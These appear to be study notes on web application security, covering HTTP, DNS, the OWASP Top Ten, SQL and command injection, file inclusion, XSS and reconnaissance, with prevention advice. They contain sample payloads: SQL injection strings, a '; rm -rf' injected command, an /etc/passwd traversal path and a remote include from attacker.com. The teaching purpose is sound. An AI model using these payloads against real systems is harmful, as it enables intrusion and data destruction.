1.

HTTP Request Methods (also called HTTP Verbs)

These are used by web clients (like browsers or scripts) to tell the server what action they want to
perform on a resource.

Method Description Example Use

GET Retrieves data (no change) View a webpage or fetch a file

POST Submits data to be processed Submitting a login form

PUT Uploads or replaces a resource Updating a user’s profile

DELETE Removes a resource Deleting a user or file

PATCH Partially modifies a resource Updating only one field of a record

HEAD Same as GET, but returns only headers Checking if a resource exists

OPTIONS Shows which methods are allowed Used in CORS and security checks

NOTE: Security Risks:

• GET sends data in the URL → not secure for passwords or private data.

• POST is better for sensitive data but can still be vulnerable if not HTTPS.
• PUT/DELETE can be dangerous if authentication is missing → attackers could modify
or delete data.
Real-World Tip: If a server is misconfigured to allow PUT or DELETE without checking
permissions, an attacker can upload web shells or delete data.

2. HTTP Status Codes

These are 3-digit numbers returned by the server to tell the client what happened to their
request. They are grouped into 5 categories:

Category Range Meaning

1xx 100– Informational – request received, continue process,
199 request other informations
2xx 200– Success – the request was successfully received and
299 processed
 3xx 300– Redirection – further action is needed to complete the
399 request
4xx 400– Client Error – the request has an error from the client
499 side
5xx 500– Server Error – the server failed to fulfill a valid request
599

Most Important Codes to Remember:

Code Meaning Notes

200 OK Everything worked Used in successful GET, POST,

etc.

201 Created New resource was created Common with POST

204 No Content Success but no data to Often used with DELETE

return

301 Moved Resource moved – update Used for SEO and redirects
Permanently links

302 Found Temporary redirect Often used in login redirects

400 Bad Request Client sent invalid request E.g., malformed JSON or query

401 Unauthorized Authentication required Used with login-protected APIs

403 Forbidden Access denied Even with login, you're not

allowed

404 Not Found Resource does not exist Classic broken link/page error

500 Internal Server Something broke on the PHP or database crash

Error server

502 Bad Gateway Server got invalid response Often from upstream server

503 Service Unavailable Server is temporarily down Could be for maintenance

NOTE Security Angle:

• 404 can be used to hide real files, but attackers may brute-force for secret files.
• 500 errors might expose stack traces if the server isn't hardened — helps attackers
discover tech stack.
• Misused 301/302 can be exploited in open redirect attacks.
3. Web Application Firewall (WAF)
A Web Application Firewall (WAF) is a security system that filters and monitors HTTP
traffic between a web application and the internet.

What It Does:

• Blocks malicious HTTP requests before they reach the web server.
• Protects against known attacks like SQL Injection, XSS, Command Injection, and File
Inclusion.
• Applies rules or patterns (called signatures) to incoming traffic.
WAF vs Traditional Firewall::

Feature WAF Network Firewall

Protects Web applications Networks and ports

Inspects HTTP/HTTPS traffic IP, port, protocol

Detects App-level threats (SQLi, XSS) Network-level threats

How WAF Works (3 Modes):

• Monitor/Detect Only – logs but doesn’t block.
• Block Mode – actively blocks suspicious traffic.
• Learning Mode – learns app behavior over time to reduce false positives.

Examples of WAFs:
• Cloud-based: Cloudflare, AWS WAF, Akamai Kona

• Software-based: ModSecurity (open-source), NAXSI for Nginx

• Appliance-based: Barracuda WAF, F5

Real Use Case:

An attacker tries this request:: GET /login.php?username=' OR 1=1--&password=123

A good WAF will block this because it matches a SQL Injection pattern.
Limitations:

• Can be bypassed if misconfigured.

• Needs constant tuning to reduce false positives/negatives.

• Doesn’t protect against zero-day unless the rule set is updated.

4. DNS Records
DNS (Domain Name System) records are like the address book of the internet — they tell
browsers where to go when you type a domain.

They are stored in DNS servers and map domain names (like example.com) to IP addresses
and other information.
Common DNS Record Types:

Record Meaning Example

A (Address) Maps a domain to an IPv4 address example.com → 192.0.2.1

AAAA Maps a domain to an IPv6 address example.com → ::1

CNAME (Canonical Alias for another domain www.example.com →

Name) example.com

MX (Mail Exchange) Points to mail servers example.com →

mail.google.com

TXT Holds text data, often for verification Used in SPF, DKIM, site
validation

NS (Name Server) Defines which servers hold DNS info ns1.example.com

for the domain

PTR Reverse DNS lookup (IP → name) 192.0.2.1 → example.com

SRV Service records, for things like SIP or Used in Microsoft services
XMPP

SOA (Start of Info about the zone like admin Every zone has one
Authority) contact, serial number
Real-World Example:

To reach www.museum.com, your browser:

1. Queries the DNS for www.museum.com.

2. Gets a CNAME: www.museum.com → museum.com.

3. Then an A record: museum.com → 203.0.113.7.

4. The browser connects to 203.0.113.7.

Security Considerations:

• DNS Spoofing / Cache Poisoning: Trick a DNS server into returning a fake IP address.

• Misconfigured DNS records (like exposed TXT keys or sensitive subdomains) can lead
to domain hijacking or data leaks.

• Subdomain Takeover can happen if CNAME points to an unused service.

5. DNS Concept (Domain Name System)

NS is like the phonebook of the internet. It translates human-readable names (like
google.com) into IP addresses (like 142.250.190.14) so that computers can find each other on a
network.

Basic Flow of a DNS Lookup:

Let’s say you visit: www.example.com

1. Browser cache: First, your browser checks if it already knows the IP.

2. OS cache: If not, your computer asks the operating system’s DNS resolver.

3. Router cache: The request may go to your Wi-Fi router’s DNS cache.
4. ISP’s DNS resolver: If it's still unknown, it’s forwarded to your ISP’s DNS server.

5. Recursive Resolution begins:

o Root Servers: Directs the query to .com nameservers.

o TLD Servers: .com servers direct it to example.com's authoritative server.

o Authoritative Name Server: Responds with the IP address for

www.example.com.
6. Response flows back to your browser → connection established → page loads.
DNS Roles:

Role Description

Root Server Top of the DNS hierarchy (. zone)

TLD Server Handles domains like .com, .org, .net

Authoritative DNS Knows the actual records for a domain

Resolver The middleman — queries others and caches answers

Museum.com:

. -Root Domain

.com -Top-Level-Domain

Museum -Second-Level-Domain

Security Issues in DNS:

Threat Description

DNS Spoofing Attacker provides fake DNS results (e.g., to redirect you to a fake
site)

DNS Hijacking DNS records are altered by attackers to redirect users

DNS Tunneling Attackers use DNS requests to exfiltrate data from a network

DoS on DNS Can crash access to many websites by attacking DNS servers
servers

Real-World Exploit Example:

If DNS records are misconfigured or cached improperly, a user typing bank.com could be
redirected to a malicious IP — stealing login info or installing malware.

6. Penetration Testing Report (Pen Testing Report)

A Penetration Testing Report is a formal document that presents the findings of a simulated
cyberattack on a web application, system, or network.

I will prepare a stand alone document for Pen Testting Report

 7. HTTP vs HTTPS Protocols
What is HTTP?

• HTTP stands for HyperText Transfer Protocol.

• It is the foundation of data communication on the web.

• It transfers data in plain text — no encryption, anyone can read or intercept it.

What is HTTPS?

• HTTPS = HTTP Secure or HTTP over SSL/TLS.

• Adds encryption using SSL/TLS (Secure Sockets Layer / Transport Layer Security).

• Ensures confidentiality, integrity, and authentication.

Key Differences Between HTTP and HTTPS:

Feature HTTP HTTPS

Security Unencrypted Encrypted

Port 80 443

Certificate None Requires SSL/TLS certificate

Trust Not trusted (shows or ) Trusted (shows )

Protection Against MITM, sniffing, spoofing Partial or none

Real-World Example:

HTTP:

GET http://example.com/login?user=admin&pass=1234

NOTE: Anyone on the network can see your credentials.

HTTPS:
GET https://example.com/login?user=admin&pass=1234

NOTE: Data is encrypted. Only the server and browser know the contents.
HTTPS Security Benefits:

Benefit Description

Encryption Data is unreadable to anyone else on the network

Authentication Confirms you're talking to the real website, not a fake

Data Integrity Prevents modification or corruption during transfer

SEO Boost Google ranks HTTPS sites higher

Security Warning:

If your login form or payment system is still over HTTP:

• Passwords can be intercepted via Man-in-the-Middle (MITM) attacks

• Attackers can inject malicious scripts into the page

8. OWASP Top Ten (2021) LATEST RELEASED

OWASP = Open Worldwide Application Security Project
It maintains the Top Ten list of the most critical web application security risks, updated every
few years. The 2021 version is the latest.

Rank Name Description Example Fix

1 Broken Access Users can access data Normal user accessing Enforce strict
Control or actions they /admin/delete- role-based
shouldn’t. user?id=5 permissions.

2 Cryptographic Data is unencrypted Passwords stored in Use strong

Failures or uses weak plaintext or using encryption
encryption. MD5. (AES),
SSL/TLS, and
hash passwords
with bcrypt.

3 Injection Malicious input alters SELECT * FROM Use prepared

logic or queries (e.g., users WHERE statements and
SQL, OS commands). username = 'admin' --'; validate input.
4 Insecure Design System is insecure by No rate-limiting on Apply secure-
design (not a bug, but login, allowing brute- by-design
a flaw in architecture). force attacks. principles,
perform threat
modeling.

5 Security Improper setup like Server displays error Harden servers,

Misconfiguration misconfigured stack trace with file disable debug
headers or enabled paths. mode, and
debug features. remove default
accounts.

6 Vulnerable and Using old jQuery v1.7.1 (2011) Update

Outdated libraries/frameworks with XSS bugs. dependencies
Components with known flaws. and monitor for
CVEs.

7 Identification and Weak login Using admin/admin as Enforce strong

Authentication mechanisms and poor credentials, session password
Failures session handling. fixation issues. policies, MFA,
and rotate
sessions after
login.

8 Software and No integrity checks NPM package includes Use code

Data Integrity on software updates malicious code after signing,
Failures or external hijack. integrity
components. checks, and
trusted CDNs.

9 Security Logging Lack of logs and No alert when 100 Enable

and Monitoring alerts means breaches failed login attempts logging, alerts,
Failures go unnoticed. occur. and retention
policies.

10 Server-Side Server is tricked into Server reads Block internal

Request Forgery making requests to http://localhost/admin IPs in URLs
(SSRF) internal resources. and sends back and whitelist
sensitive data. outbound
destinations.
Summary Table:

Rank Attack Example Fix

1 Access control bypass RBAC, deny by default

2 Plaintext password TLS, hashing

3 ' OR '1'='1 Prepared statements

4 No login lockout Threat modeling

5 Debug mode on Harden server

6 Old libraries Update dependencies

7 Weak login MFA, session control

8 Unsigned update Code signing

9 No logging Enable audit logs

10 SSRF to localhost Block internal IPs

9. SQL Injection
SQL Injection is one of the oldest and most dangerous vulnerabilities in web applications. It
occurs when an attacker injects malicious SQL code into an input field, which gets executed by
the database.

SQL Injection Overview How it works:

Section Details

How SQL Injection An attacker exploits vulnerable SQL queries by injecting malicious
Works input into fields like login forms.

Example Vulnerable SELECT * FROM users WHERE username = 'admin' AND

Query password = 'password123';

Malicious Input ' OR 1=1 --

Modified Query After SELECT * FROM users WHERE username = '' OR 1=1 --' AND
Injection password = 'password123';

Effect OR 1=1 always evaluates to true, so the query returns all rows. The -
- comments out the rest, allowing login bypass.
 Result The attacker gains unauthorized access, bypassing authentication.

SQL Injection Prevention Techniques: How to protect

Technique Description Example / Notes

Prepared Separate SQL logic PHP PDO Example:$stmt = $pdo-

Statements from user input using >prepare("SELECT * FROM users WHERE
parameterized username = :username AND password =
queries. :password");$stmt->execute(['username' =>
$username, 'password' => $password]);

Stored Use database-defined Safer when inputs are handled internally within
Procedures routines to abstract the procedure.
query logic.

Input Ensure user input Example: Allow only alphanumeric characters

Validation meets expected for usernames.
formats.

Escaping Escape special Not recommended unless absolutely necessary;

User Input characters if prepared less secure.
statements aren’t
available.

SQL Injection Consequences:

1. Unauthorized Access: Gain access to user accounts or sensitive data.

2. Data Loss/Corruption: Delete or modify data.

3. Full Database Compromise: In some cases, attackers can execute commands like
DROP DATABASE to destroy data.

4. Privilege Escalation: By exploiting SQLi, attackers might gain admin-level

privileges.

10. Command Injection

Command Injection occurs when an attacker injects malicious commands into an application’s
input fields, which then get executed on the server. These commands can be used to execute
arbitrary commands in the operating system (OS), often with high privileges.
How Command Injection Works

Section Details

Description Command Injection occurs when user input is passed directly to a

system shell command without proper sanitization. This allows attackers
to execute arbitrary commands on the server.

Example An application runs the following command to list a user's files: ls

Scenario /home/user/$(user_input)

Attacker ; rm -rf /important_data

Input

Resulting ls /home/user/; rm -rf /important_data

Command

Why It Works The ; in UNIX-like systems is a command separator. It allows the

attacker to terminate the original command and inject a new malicious
command.

Effect The attacker can delete files (rm -rf /important_data), compromise
system integrity, or run any other shell command with the same
privileges as the application.

Command Injection Prevention Techniques

Technique Description Example / Notes

Avoid Direct Do not pass user input directly For example, use scandir() in PHP
Command into system shell commands. Use instead of ls via exec() to list files.
Execution internal APIs or language
features that don’t rely on the
shell.

Use Allow only specific, safe `.

Whitelisting characters (e.g., a–z, 0–9) in user
input. Block or strip dangerous
symbols like ;, &, `

Escape User If you must include input in a In PHP, use escapeshellarg() or

Input command, escape characters that escapeshellcmd() before passing
could be interpreted by the shell. input.
 Use Proper Use built-in libraries that handle E.g., escapeshellcmd($input) in
Libraries / tasks without shell commands, or PHP ensures the input won’t break
Tools provide secure wrappers. command structure.

Limit Privileges Run the application under a user Even if an injection occurs, the
account with minimal damage is limited. Avoid running
permissions. as root.

Command Injection Consequences:

1. Data Loss: Delete or modify files on the server.

2. System Compromise: Run arbitrary code, potentially gaining full control of the
system.

3. Privilege Escalation: If the server runs with elevated privileges (e.g., root), the
attacker could potentially gain control over the entire system.

4. Service Disruption: Malicious commands might bring the server down or cause
other disruptions.

11. Local File Inclusion (LFI)

Local File Inclusion (LFI) is a vulnerability that allows an attacker to include files from the
local server into the web page. If exploited, it can lead to information disclosure, code
execution, or even remote control of the server.

How Local File Inclusion (LFI) Works

Section Details

Description Local File Inclusion (LFI) occurs when a web application includes files
based on user input without proper validation. Attackers can use this to
access sensitive files on the server.

Example php<br>$page = $_GET['page'];<br>include($page);<br>

Vulnerable
Code (PHP)

Normal Usage http://example.com/index.php?page=about.php This includes and

displays about.php as expected.
 Malicious http://example.com/index.php?page=../../../../etc/passwd
Input

What PHP executes: include("../../../../etc/passwd");

Happens

Effect The contents of /etc/passwd — a system file listing user accounts — is

displayed. This can leak usernames and other sensitive info.

Risk An attacker may explore the server’s file system and access
configuration files, credentials, or code — leading to full compromise.

Common LFI Targets:

Target Purpose

/etc/passwd User accounts (on Linux)

/proc/self/environ May contain web server environment info (e.g.,

cookies, tokens)

Log files (e.g. Can be poisoned with PHP code for remote
/var/log/apache2/access.log) execution

Local File Inclusion (LFI) Prevention Techniques

Technique Description Example / Notes

Avoid Never use user input Avoid this:include($_GET['page']);

Including User- directly in include, require,
Provided Files or similar functions.

Use a Strict If dynamic inclusion is Example: Use a switch or array to map

Whitelist required, only allow a input to allowed files like "about" =>
predefined list of valid "about.php"
filenames.

Avoid Passing Prevent users from Use ?page=about instead of

File Paths in specifying file paths as ?page=about.php and resolve server-side.
URLs parameters. Use identifiers
instead.
 Sanitize Input Remove dangerous Use regex to allow only alphanumeric
patterns like ../ to block characters.
directory traversal attacks.

Disable Unused If include() and require() Configure the server and code to avoid
Inclusion are not essential, avoid dynamic file inclusion entirely.
Features using them or restrict their
behavior.

12. Remote File Inclusion (RFI)

Remote File Inclusion (RFI) is similar to LFI, but instead of including local files, it allows
an attacker to include and execute files from a remote server. This is even more dangerous
because attackers can host malicious code elsewhere and execute it on your server.

How Remote File Inclusion (RFI) Works

Section Details

Description Remote File Inclusion (RFI) occurs when user input is used to load files
from a remote server using functions like include() or require() in PHP.
This allows an attacker to execute remote malicious code.

Example php<br>$page = $_GET['page'];<br>include($page);<br>

Vulnerable
Code (PHP)

Malicious http://example.com/index.php?page=http://attacker.com/malicious.php
Input
(URL)

What PHP executes:include("http://attacker.com/malicious.php");

Happens

Effect The remote malicious script is fetched and executed by the server. This can
result in full system compromise, remote code execution, or installation of
backdoors.

Risk Extremely dangerous. The attacker can run arbitrary PHP code hosted
elsewhere on your server. Often leads to full server compromise.
Remote File Inclusion (RFI) Prevention Techniques

Technique Description Example / Notes

Disable Remote Turn off allow_url_include and ini<br>allow_url_include =

File Access allow_url_fopen in php.ini. Off<br>allow_url_fopen = Off

Avoid Using User Never use user input directly in Don’t do

Input in File include(), require(), etc. this:include($_GET['file']);
Includes

Use a Whitelist If dynamic includes are Example: if ($page == 'about')

for File Access required, use only safe, include('about.php');
hardcoded file names or paths.

Validate Input Allow only alphanumeric input Use regex to reject anything
and block URLs. starting with http://, https://

Use Local Paths Only include files from secure, Use local, known directories like
Only local directories. Never fetch includes/about.php
files from URLs.

13. Cross-Site Scripting (XSS)

Cross-Site Scripting (XSS) is a vulnerability that allows attackers to inject malicious scripts
(usually JavaScript) into web pages viewed by other users.

The attack is executed in the user’s browser, not the server — and can lead to session
hijacking, data theft, and UI manipulation.

How Cross-Site Scripting (XSS) Works

Section Details

Description XSS is a vulnerability where attackers inject malicious scripts into

webpages viewed by other users. These scripts run in victims' browsers
and can steal data or perform actions on their behalf.
 Types - Stored XSS: Malicious script is saved on the server (e.g., in a database)
and served to users.- Reflected XSS: Malicious script is reflected off a
web server, e.g., in URL or form input.- DOM-based XSS: Script runs
due to client-side JavaScript modifying the DOM insecurely.

Example html<br><form action="/search"><input name="q"

Vulnerable /></form><br>Displaying user input without sanitization:<br>echo
Code $_GET['q'];<br>

Malicious <script>alert('XSS')</script>
Input
Example

Effect The malicious script executes in the victim’s browser, potentially stealing
cookies, session tokens, or redirecting the user to malicious sites.

Cross-Site Scripting (XSS) Prevention Techniques

Technique Description Example / Notes

Output Encode user input before Use functions like

Encoding / displaying it in HTML, JavaScript, htmlspecialchars() in PHP or
Escaping or attributes to prevent code templating engine escaping.
execution.

Input Validate inputs to allow only For example, restrict input

Validation expected data types and formats. length, block script tags.

Content Use CSP headers to restrict the Example: Content-Security-

Security Policy sources of executable scripts on the Policy: default-src 'self';
(CSP) page.

Use Safe Avoid innerHTML with untrusted Prevents injection via DOM
JavaScript data; prefer textContent or safe changes.
APIs DOM manipulation.

HTTPOnly Set cookies with HttpOnly flag to Protects session tokens from
Cookies prevent access via JavaScript. theft.

14. Cryptography Failure

(Formerly “Sensitive Data Exposure” in OWASP Top 10)
This vulnerability occurs when an application fails to protect data using strong encryption — or
misuses cryptographic functions. It can lead to data leaks, identity theft, and regulatory
violations.

How Cryptographic Failures Occur

Section Details

Description Cryptographic Failures occur when sensitive data is not properly

protected through strong encryption, allowing attackers to access or
tamper with it. This includes weak encryption, no encryption, or improper
key management.

Common - Storing passwords in plaintext or using weak hashes (e.g., MD5, SHA1)-
Issues Transmitting data without SSL/TLS (unencrypted HTTP)- Using
outdated or broken cryptographic algorithms- Poor key generation or
storage- Not verifying integrity of data

Example Passwords stored as plaintext in a database or using weak hashes that can
be cracked easily.Transmitting login forms over HTTP instead of HTTPS.

Preventing Cryptographic Failures

Technique Description Example / Notes

Use Strong Use modern, strong algorithms Avoid outdated algorithms like
Encryption like AES for symmetric DES, MD5, or SHA1.
Algorithms encryption and RSA/ECC for
asymmetric encryption.

Use Proper Hash passwords with slow, Example in PHP:

Password salted algorithms designed for password_hash($password,
Hashing passwords like bcrypt, Argon2, PASSWORD_ARGON2ID);
or PBKDF2.

Enforce HTTPS Always use HTTPS to encrypt Use valid certificates and enforce
(SSL/TLS) data in transit between client HSTS.
and server.

Proper Key Store encryption keys securely, Use hardware security modules
Management separate from encrypted data. (HSMs) if possible.
Rotate keys periodically.
 Verify Data Use digital signatures or Prevents attackers from modifying
Integrity message authentication codes data unnoticed.
(MAC) to ensure data hasn’t
been tampered with.

What Kind of Data Needs Protection?

Data Type Example

Personally Identifiable Info (PII) Name, email, phone, address

Credentials Usernames, passwords

Financial Info Credit card numbers, bank details

Health Records Medical reports

API Keys & Tokens Used for authentication

Common Cryptographic Failures:

Mistake Example

❌ Storing passwords in plaintext password123 in DB

❌ Using weak hashing algorithms MD5, SHA-1 (easily cracked)

❌ Missing HTTPS (TLS) Sending credentials in clear text

❌ Hardcoded or reused encryption keys Same key used for all users

❌ No encryption at all Sensitive data stored as-is

❌ Insecure random number generation Predictable session tokens

How to Do Cryptography Right:

Password Storage:

• Use bcrypt, argon2, or scrypt with salt.

• Never store plain passwords or use reversible encryption.

Data in Transit:

• Always use HTTPS/TLS.

 • Redirect HTTP to HTTPS.

• Use secure headers like:

15. Subdomain & Subdomain Enumeration

This topic is about identifying and exploiting subdomains of a website. Subdomains are
often less secure than the main domain and can lead to major breaches.

What is a Subdomain?

A subdomain is a prefix to a domain name.

Main Domain: example.com
Subdomains:

• admin.example.com
• api.example.com

• dev.example.com

• old-login.example.com

Subdomains often run different services or apps, like staging servers, admin panels, or
forgotten systems.

What is Subdomain Enumeration?

Subdomain Enumeration is the process of discovering hidden or publicly unknown

subdomains of a target website.

It’s a common reconnaissance step in ethical hacking and bug bounty programs.
Methods of Subdomain Enumeration:

Method How it Works

Brute-force Try a list of common names: admin., mail., test.

DNS Zone Transfer Misconfigured DNS server may leak all records

Search Engines Use Google, Bing to find indexed subdomains

Security Tools Use tools like Sublist3r, Amass, dnsrecon, crt.sh

Certificate Transparency Logs Services like crt.sh list subdomains in SSL certificates
 API Services Use tools like Shodan, VirusTotal, SecurityTrails

Defense Against Enumeration:

• Remove unused subdomains from DNS.

• Use wildcard DNS carefully — attackers can still brute-force.

• Monitor DNS records and SSL certificates regularly.

• Use subdomain takeover protection features if available (e.g., on GitHub, AWS,

Heroku).

16. Concept of Web Application Security

Web Application Security is the practice of protecting websites and online services from
threats that exploit vulnerabilities in their code, logic, configuration, or design.

Why It Matters:

• Web apps are public-facing — exposed to the internet 24/7.

• They often handle sensitive data: passwords, emails, payments.

• Attacks like SQLi, XSS, CSRF, and unauthorized access can lead to data breaches,
loss of trust, legal issues.

Core Principles of Web App Security:

Principle Meaning

Confidentiality Protect data from unauthorized access (e.g., encryption)

Integrity Ensure data hasn’t been modified (e.g., hashing, signatures)

Availability Keep the app online and responsive (e.g., prevent DoS attacks)

Authentication Confirm who the user is

Authorization Ensure users can only access what they're allowed

Input Validation Ensure inputs are clean and safe

Secure Configuration No default passwords, exposed debug pages, or outdated systems

Key Components of Web App Security:

 1. Secure Coding Practices

o Sanitize inputs, escape outputs, use frameworks safely

2. Authentication & Session Security

o Use MFA, session timeouts, secure cookies

3. Transport Security

o Always use HTTPS, no mixed content

4. Access Control

o Enforce roles and permissions server-side

5. Error Handling

o Don’t leak sensitive info (like stack traces)

6. Security Testing

o Perform regular pen testing, vulnerability scanning, and code audits

7. Patching and Updates

o Regularly update software, frameworks, and libraries

Common Threats:

• OWASP Top Ten (SQLi, XSS, Broken Auth, etc.)

• DDoS (Denial of Service)

• Bot attacks

• API abuse
• Zero-day exploits

Tools for Web App Security:

Tool Type Examples

Static Analysis SonarQube, Fortify, Checkmarx

Dynamic Scanners OWASP ZAP, Burp Suite

Dependency Scanners Snyk, Dependabot

Web Firewalls ModSecurity, Cloudflare WAF

 17. Directory Bruteforcing
Directory Bruteforcing is the process of guessing hidden directories or files on a web server
by using automated tools and wordlists.

How It Works:
1. The attacker sends a large number of HTTP requests like:

Such us:
/admin/

/backup/

/login/
/config.php

/.git/

/env

2. The server returns 200 OK or 403 Forbidden if the resource exists.

3. These responses help reveal unlisted or hidden resources.

Tools for Directory Bruteforcing:

Tool Description

Dirb Simple command-line tool

Gobuster Fast bruteforcer written in Go

FFUF Extremely fast and flexible

Dirsearch Python-based, actively maintained

Burp Suite Has Intruder for custom fuzzing

What They Look For:

Target Risk

/admin/ Access to login portals

/backup.zip Leaked source code or data

/.git/ Downloadable code repository

 /config.php Might contain DB passwords

.env Environment variables (secret keys, DB credentials)

Prevention:

1. Don’t leave sensitive files in the web root directory.

2. Use authentication for access-restricted paths.

3. Configure your web server to return 404 or 403 for unauthorized directories.

4. Use a WAF to detect and rate-limit brute-force attempts.

5. Regularly scan your own site with tools like FFUF or Burp.